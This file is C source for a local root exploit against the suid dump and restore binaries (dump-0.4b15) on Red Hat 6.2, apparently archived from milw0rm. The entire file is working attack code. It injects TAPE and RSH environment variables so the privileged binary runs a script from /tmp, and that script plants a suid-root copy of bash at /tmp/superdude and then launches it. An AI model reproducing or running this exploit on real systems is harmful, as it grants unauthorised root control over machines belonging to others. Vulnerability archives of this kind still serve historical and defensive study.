477bcbdcc0
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122 lines
2.4 KiB
C
Executable file
122 lines
2.4 KiB
C
Executable file
/*
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**
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** dump-0.4b15x.c
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**
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** dump-0.4b15 exploit:
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** Redhat 6.2 dump command executes
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** external program with suid priviledge.
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**
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** affected:
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** /sbin/dump
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** /sbin/dump.static
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** /sbin/restore
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** /sbin/restore.static
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**
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** Bug found by mat@hacksware.com
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**
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** This example was coded by md0claes@mdstud.chalmers.se
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** It was written for EDUCATIONAL PURPOSES ONLY.
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**
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**
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*/
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <errno.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#define RUNME "/tmp/runme" /* tmp file */
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#define SUID_PATH "/tmp/superdude" /* the power of root */
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void usage(char *pname)
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{
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fprintf(stdout, "\nUsage: %s < d | s | r | p >\n\n", pname);
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fprintf(stdout, " d - exploit /sbin/dump\n");
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fprintf(stdout, " s - exploit /sbin/dump.static\n");
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fprintf(stdout, " r - exploit /sbin/restore\n");
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fprintf(stdout, " p - exploit /sbin/restore.static\n\n");
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}
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int main(int argc, char *argv[], char *envp[])
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{
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int fd;
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pid_t pid;
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char *bad_env[] = { "TAPE=garbage:garbage", "RSH="RUNME };
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char runbuf[] = { "#!/bin/sh\n/bin/cp /bin/bash "
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SUID_PATH "\nchmod 6755 " SUID_PATH };
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char *suid[] = { SUID_PATH, NULL };
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char *av[] = { "/sbin/restore.static", "restore.static",
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"-t", "/tmp/foo" };
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if (argc != 2) {
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usage(argv[0]);
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exit(1);
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}
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switch(tolower(argv[1][0])) {
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case 'd':
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av[0] = "/sbin/dump";
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av[1] = "dump";
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av[2] = "-0";
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av[3] = "/";
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break;
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case 's':
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av[0] = "/sbin/dump.static";
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av[1] = "dump.static";
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av[2] = "-0";
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av[3] = "/";
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break;
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case 'r':
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av[0] = "/sbin/restore";
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av[1] = "restore";
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break;
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case 'p':
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break;
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default:
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usage(argv[0]);
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exit(1);
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}
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if ((fd = open(RUNME,O_WRONLY|O_CREAT|O_TRUNC, 0755)) == -1) {
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perror("fopen");
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exit(1);
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}
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if (write(fd, runbuf, sizeof(runbuf)) == -1) {
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perror("write");
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exit(1);
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}
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close(fd);
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if ((pid = fork()) < 0) {
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perror("fork");
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exit(1);
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}
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else if (pid == 0) {
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if (execle(av[0], av[1], av[2], av[3], NULL, bad_env) < 0) {
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perror("execle");
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_exit(1);
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}
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}
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sleep(1);
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unlink(RUNME);
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fprintf(stdout, "\nExploited %s \n", av[0]);
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fprintf(stdout, "Running " SUID_PATH "\n");
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execve(SUID_PATH, suid, envp);
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exit(0);
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}
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// milw0rm.com [2000-11-29]
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